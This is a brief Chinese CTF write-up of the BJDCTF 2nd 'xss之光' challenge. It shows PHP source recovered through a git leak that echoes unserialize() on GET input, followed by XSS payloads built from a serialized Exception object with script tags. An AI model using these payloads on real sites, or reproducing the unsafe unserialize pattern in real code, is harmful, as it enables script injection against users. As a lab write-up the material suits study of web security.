[BJDCTF 2nd]xss之光

发布于 2021-01-22  152 次阅读


0x00 前言

        1.git源码泄漏(默认掌握)

        2.PHP的序列化(原生类)

https://www.cnblogs.com/NPFS/p/13385038.html

博文中列举了两个原生类可用于xss,若觉得不够可再自行搜索。

0x01 正文

好久没写ctf题了,打算写个简单题来修复下思路。

在buu创建靶机,一进来他就让我们guiguigui,那我们肯定是不能gui的对吧,所以首先看一遍源码,网络请求,和cookie,发现都没问题。按照buu的特点不能扫目录,那么我们可以直接开教程了(大雾)。发现是git泄漏,那么用githack直接把源码给clone下来完事。代码很少

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

那么就是构造payload进行xss了

php > $a = new Exception("<script>alert(1)</script>");
php > echo urlencode(serialize($a));

试验后发现确实有效,但是没有返回flag,

必须要进行转跳访问才能返回(或许这是在提醒我们利用这个漏洞?

php > $a = new Exception("<script>window.location.href='https://127.0.0.1'</script>");     
php > echo urlencode(serialize($a));

可以在resp的响应头的set-cookie处找到flag。


我是谁?我在哪?我正在做什么?